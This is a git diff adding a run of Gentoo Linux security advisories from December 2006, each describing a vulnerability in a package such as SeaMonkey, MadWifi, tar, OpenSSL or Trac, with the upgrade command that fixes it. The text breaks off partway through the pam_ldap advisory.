+++ b/xml/htdocs/security/en/glsa/glsa-200612-08.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-08">
+  <title>SeaMonkey: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified in the SeaMonkey project.
+  </synopsis>
+  <product type="ebuild">seamonkey</product>
+  <announced>December 10, 2006</announced>
+  <revised>December 10, 2006: 01</revised>
+  <bug>154449</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.0.6</unaffected>
+      <vulnerable range="lt">1.0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The SeaMonkey project is a community effort to deliver
+    production-quality releases of code derived from the application
+    formerly known as 'Mozilla Application Suite'.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SeaMonkey project is vulnerable to arbitrary JavaScript bytecode
+    execution and arbitrary code execution.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could entice a user to load malicious JavaScript or a
+    malicious web page with a SeaMonkey application and execute arbitrary
+    code with the rights of the user running those products. It is
+    important to note that in the SeaMonkey email client, JavaScript is
+    disabled by default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.0.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5462">CVE-2006-5462</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5463">CVE-2006-5463</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5464">CVE-2006-5464</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5747">CVE-2006-5747</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5748">CVE-2006-5748</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 06:08:42 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Nov 2006 13:46:12 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Dec 2006 19:01:27 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-09.xml b/xml/htdocs/security/en/glsa/glsa-200612-09.xml
new file mode 100644
index 00000000..3821daf9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-09.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-09">
+  <title>MadWifi: Kernel driver buffer overflow</title>
+  <synopsis>
+    MadWifi is vulnerable to a buffer overflow that could potentially lead to
+    the remote execution of arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">madwifi-ng</product>
+  <announced>December 10, 2006</announced>
+  <revised>December 10, 2006: 01</revised>
+  <bug>157449</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/madwifi-ng" auto="yes" arch="*">
+      <unaffected range="ge">0.9.2.1</unaffected>
+      <vulnerable range="lt">0.9.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MadWifi (Multiband Atheros Driver for Wireless Fidelity) provides a
+    Linux kernel device driver for Atheros-based Wireless LAN devices.
+    </p>
+  </background>
+  <description>
+    <p>
+    Laurent Butti, Jerome Raznieski and Julien Tinnes reported a buffer
+    overflow in the encode_ie() and the giwscan_cb() functions from
+    ieee80211_wireless.c.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted wireless WPA packets
+    containing malicious RSN Information Headers (IE) that could
+    potentially lead to the remote execution of arbitrary code as the root
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MadWifi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/madwifi-ng-0.9.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6332">CVE-2006-6332</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 07 Dec 2006 19:16:43 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 07 Dec 2006 22:47:16 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Dec 2006 21:00:26 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-10.xml b/xml/htdocs/security/en/glsa/glsa-200612-10.xml
new file mode 100644
index 00000000..fcb66ed5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-10.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-10">
+  <title>Tar: Directory traversal vulnerability</title>
+  <synopsis>
+    Tar is vulnerable to directory traversal possibly allowing for the
+    overwriting of arbitrary files.
+  </synopsis>
+  <product type="ebuild">tar</product>
+  <announced>December 11, 2006</announced>
+  <revised>December 11, 2006: 01</revised>
+  <bug>155901</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/tar" auto="yes" arch="*">
+      <unaffected range="ge">1.16-r2</unaffected>
+      <vulnerable range="lt">1.16-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Tar program provides the ability to create and manipulate tar
+    archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tar does not properly extract archive elements using the GNUTYPE_NAMES
+    record name, allowing files to be created at arbitrary locations using
+    symlinks. Once a symlink is extracted, files after the symlink in the
+    archive will be extracted to the destination of the symlink.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to extract a specially crafted tar
+    archive, possibly allowing for the overwriting of arbitrary files on
+    the system extracting the archive.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tar users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/tar-1.16-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6097">CVE-2006-6097</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 07 Dec 2006 10:14:08 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Dec 2006 20:35:35 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Dec 2006 17:59:09 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-11.xml b/xml/htdocs/security/en/glsa/glsa-200612-11.xml
new file mode 100644
index 00000000..b40ac2a3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-11.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-11">
+  <title>AMD64 x86 emulation base libraries: OpenSSL multiple vulnerabilities</title>
+  <synopsis>
+    OpenSSL contains multiple vulnerabilities including the possible execution
+    of remote arbitrary code.
+  </synopsis>
+  <product type="ebuild">emul-linux-x86-baselibs</product>
+  <announced>December 11, 2006</announced>
+  <revised>December 11, 2006: 01</revised>
+  <bug>152640</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/emul-linux-x86-baselibs" auto="yes" arch="amd64">
+      <unaffected range="ge">2.5.5</unaffected>
+      <vulnerable range="lt">2.5.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is a toolkit implementing the Secure Sockets Layer, Transport
+    Layer Security protocols and a general-purpose cryptography library.
+    The x86 emulation base libraries for AMD64 contain a vulnerable version
+    of OpenSSL.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy and Will Drewry, both of the Google Security Team,
+    discovered that the SSL_get_shared_ciphers() function contains a buffer
+    overflow vulnerability, and that the SSLv2 client code contains a flaw
+    leading to a crash. Additionally, Dr. Stephen N. Henson found that the
+    ASN.1 handler contains two Denial of Service vulnerabilities: while
+    parsing an invalid ASN.1 structure and while handling certain types of
+    public key.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could trigger the buffer overflow by sending a malicious
+    suite of ciphers to an application using the vulnerable function, and
+    thus execute arbitrary code with the rights of the user running the
+    application. An attacker could also consume CPU and/or memory by
+    exploiting the Denial of Service vulnerabilities. Finally, a malicious
+    server could crash a SSLv2 client through the SSLv2 vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AMD64 x86 emulation base libraries users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-baselibs-2.5.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2937">CVE-2006-2937</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2940">CVE-2006-2940</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3738">CVE-2006-3738</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4343">CVE-2006-4343</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 24 Oct 2006 10:04:50 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Dec 2006 23:29:14 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-12.xml b/xml/htdocs/security/en/glsa/glsa-200612-12.xml
new file mode 100644
index 00000000..684c6b20
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-12">
+  <title>F-PROT Antivirus: Multiple vulnerabilities</title>
+  <synopsis>
+    F-Prot Antivirus contains a buffer overflow and other unspecified
+    vulnerabilities, possibly allowing the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">f-prot</product>
+  <announced>December 12, 2006</announced>
+  <revised>December 12, 2006: 01</revised>
+  <bug>157612</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/f-prot" auto="yes" arch="*">
+      <unaffected range="ge">4.6.7</unaffected>
+      <vulnerable range="lt">4.6.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    F-Prot Antivirus is a FRISK Software antivirus program that can used
+    with procmail.
+    </p>
+  </background>
+  <description>
+    <p>
+    F-Prot Antivirus version 4.6.7 fixes a heap-based buffer overflow, an
+    infinite loop, and other unspecified vulnerabilities.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Among other weaker impacts, a remote attacker could send an e-mail
+    containing a malicious file that would trigger the buffer overflow
+    vulnerability and execute arbitrary code with the privileges of the
+    user running F-Prot, which may be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All F-Prot users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/f-prot-4.6.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6293">CVE-2006-6293</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6294">CVE-2006-6294</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6352">CVE-2006-6352</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Dec 2006 17:16:15 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Dec 2006 20:51:14 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Dec 2006 23:24:00 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-13.xml b/xml/htdocs/security/en/glsa/glsa-200612-13.xml
new file mode 100644
index 00000000..d8b98e1c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-13.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-13">
+  <title>libgsf: Buffer overflow</title>
+  <synopsis>
+    libgsf improperly allocates memory allowing for a heap overflow and
+    possibly the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libgsf</product>
+  <announced>December 12, 2006</announced>
+  <revised>December 12, 2006: 01</revised>
+  <bug>156693</bug>
+  <access>remote</access>
+  <affected>
+    <package name="gnome-extra/libgsf" auto="yes" arch="*">
+      <unaffected range="ge">1.14.2</unaffected>
+      <vulnerable range="lt">1.14.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNOME Structured File Library is an I/O library that can read and
+    write common file types and handle structured formats that provide
+    file-system-in-a-file semantics.
+    </p>
+  </background>
+  <description>
+    <p>
+    "infamous41md" has discovered that the "ole_init_info" function may
+    allocate too little memory for storing the contents of an OLE document,
+    resulting in a heap buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted OLE
+    document, and possibly execute arbitrary code with the rights of the
+    user opening the document.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libgsf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-extra/libgsf-1.14.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4514">CVE-2006-4514</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 10 Dec 2006 19:48:29 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Dec 2006 20:34:33 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Dec 2006 18:08:22 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-14.xml b/xml/htdocs/security/en/glsa/glsa-200612-14.xml
new file mode 100644
index 00000000..98466e99
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-14">
+  <title>Trac: Cross-site request forgery</title>
+  <synopsis>
+    Trac allows remote attackers to execute unauthorized actions as other
+    users.
+  </synopsis>
+  <product type="ebuild">trac</product>
+  <announced>December 12, 2006</announced>
+  <revised>December 12, 2006: 01</revised>
+  <bug>154574</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/trac" auto="yes" arch="*">
+      <unaffected range="ge">0.10.1</unaffected>
+      <vulnerable range="lt">0.10.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Trac is a wiki and issue tracking system for software development
+    projects.
+    </p>
+  </background>
+  <description>
+    <p>
+    Trac allows users to perform certain tasks via HTTP requests without
+    performing correct validation on those requests.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could entice an authenticated user to browse to a specially
+    crafted URL, allowing the attacker to execute actions in the Trac
+    instance as if they were the user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Trac users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/trac-0.10.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5848">CVE-2006-5848</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5878">CVE-2006-5878</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 Dec 2006 06:01:31 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 07 Dec 2006 10:06:43 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Dec 2006 18:17:55 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-15.xml b/xml/htdocs/security/en/glsa/glsa-200612-15.xml
new file mode 100644
index 00000000..e6d0ef63
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-15.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-15">
+  <title>McAfee VirusScan: Insecure DT_RPATH</title>
+  <synopsis>
+    McAfee VirusScan for Linux is distributed with an insecure DT_RPATH,
+    potentially allowing a remote attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">vlnx</product>
+  <announced>December 14, 2006</announced>
+  <revised>December 14, 2006: 01</revised>
+  <bug>156989</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/vlnx" auto="yes" arch="*">
+      <vulnerable range="le">4510e</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    McAfee VirusScan for Linux is a commercial antivirus solution for
+    Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jakub Moc of Gentoo Linux discovered that McAfee VirusScan was
+    distributed with an insecure DT_RPATH which included the current
+    working directory, rather than $ORIGIN which was probably intended.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could entice a VirusScan user to scan an arbitrary file and
+    execute arbitrary code with the privileges of the VirusScan user by
+    tricking the dynamic loader into loading an untrusted ELF DSO. An
+    automated system, such as a mail scanner, may be subverted to execute
+    arbitrary code with the privileges of the process invoking VirusScan.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not scan files or execute VirusScan from an untrusted working
+    directory.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    As VirusScan verifies that it has not been modified before executing,
+    it is not possible to correct the DT_RPATH. Furthermore, this would
+    violate the license that VirusScan is distributed under. For this
+    reason, the package has been masked in Portage pending the resolution
+    of this issue.
+    </p>
+    <code>
+    # emerge --ask --verbose --unmerge &quot;app-antivirus/vlnx&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6474">CVE-2006-6474</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 11 Dec 2006 18:55:04 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Dec 2006 21:23:39 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-16.xml b/xml/htdocs/security/en/glsa/glsa-200612-16.xml
new file mode 100644
index 00000000..06bdd0fd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-16.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-16">
+  <title>Links: Arbitrary Samba command execution</title>
+  <synopsis>
+    Links does not properly validate "smb://" URLs, making it vulnerable to the
+    execution of arbitrary Samba commands.
+  </synopsis>
+  <product type="ebuild">links</product>
+  <announced>December 14, 2006</announced>
+  <revised>December 14, 2006: 01</revised>
+  <bug>157028</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/links" auto="yes" arch="*">
+      <unaffected range="ge">2.1_pre26</unaffected>
+      <vulnerable range="lt">2.1_pre26</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Links is a web browser running in both graphics and text modes.
+    </p>
+  </background>
+  <description>
+    <p>
+    Teemu Salmela discovered that Links does not properly validate "smb://"
+    URLs when it runs smbclient commands.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to browse to a specially crafted
+    "smb://" URL and execute arbitrary Samba commands, which would allow
+    the overwriting of arbitrary local files or the upload or the download
+    of arbitrary files. This vulnerability can be exploited only if
+    "smbclient" is installed on the victim's computer, which is provided by
+    the "samba" Gentoo package.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Links users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/links-2.1_pre26&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5925">CVE-2006-5925</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 10 Dec 2006 21:05:34 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 12 Dec 2006 00:14:43 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 13 Dec 2006 14:10:35 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-17.xml b/xml/htdocs/security/en/glsa/glsa-200612-17.xml
new file mode 100644
index 00000000..0bb36115
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-17.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-17">
+  <title>GNU Radius: Format string vulnerability</title>
+  <synopsis>
+    A format string vulnerabilty has been found in GNU Radius, which could lead
+    to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gnuradius</product>
+  <announced>December 14, 2006</announced>
+  <revised>December 14, 2006: 01</revised>
+  <bug>156376</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/gnuradius" auto="yes" arch="*">
+      <unaffected range="ge">1.4</unaffected>
+      <vulnerable range="lt">1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Radius is a GNU version of Radius, a server for remote user
+    authentication and accounting.
+    </p>
+  </background>
+  <description>
+    <p>
+    A format string vulnerability was found in the sqllog function from the
+    SQL accounting code for radiusd. That function is only used if one or
+    more of the "postgresql", "mysql" or "odbc" USE flags are enabled,
+    which is not the default, except for the "server" 2006.1 and 2007.0
+    profiles which enable the "mysql" USE flag.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An unauthenticated remote attacker could execute arbitrary code with
+    the privileges of the user running radiusd, which may be the root user.
+    It is important to note that there is no default GNU Radius user for
+    Gentoo systems because no init script is provided with the package.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Radius users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dialup/gnuradius-1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4181">CVE-2006-4181</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Dec 2006 16:15:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Dec 2006 20:51:18 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Dec 2006 22:14:11 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-18.xml b/xml/htdocs/security/en/glsa/glsa-200612-18.xml
new file mode 100644
index 00000000..75500e4d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-18.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-18">
+  <title>ClamAV: Denial of Service</title>
+  <synopsis>
+    ClamAV is vulnerable to Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>December 18, 2006</announced>
+  <revised>December 18, 2006: 01</revised>
+  <bug>157698</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.88.7</unaffected>
+      <vulnerable range="lt">0.88.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    Hendrik Weimer discovered that ClamAV fails to properly handle deeply
+    nested MIME multipart/mixed content.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted email with deeply nested MIME
+    multipart/mixed content an attacker could cause ClamAV to crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.88.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6481">CVE-2006-6481</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 16 Dec 2006 18:27:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 18 Dec 2006 19:01:42 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-19.xml b/xml/htdocs/security/en/glsa/glsa-200612-19.xml
new file mode 100644
index 00000000..de5a3eef
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-19.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-19">
+  <title>pam_ldap: Authentication bypass vulnerability</title>
+  <synopsis>
+    pam_ldap contains a vulnerability that may allow a remote user with a
+    locked account to gain unauthorized system access.
+  </synopsis>
+  <product type="ebuild">pam_ldap</product>
+  <announced>December 20, 2006</announced>
+  <revised>December 20, 2006: 01</revised>
+  <bug>153916</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-auth/pam_ldap" auto="yes" arch="*">
+      <unaffected range="ge">183</unaffected>
+      <vulnerable range="lt">183</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pam_ldap is a Pluggable Authentication Module which allows
+    authentication against LDAP directories.
+    </p>
+  </background>
+  <description>
+    <p>
+    Steve Rigler discovered that pam_ldap does not correctly handle
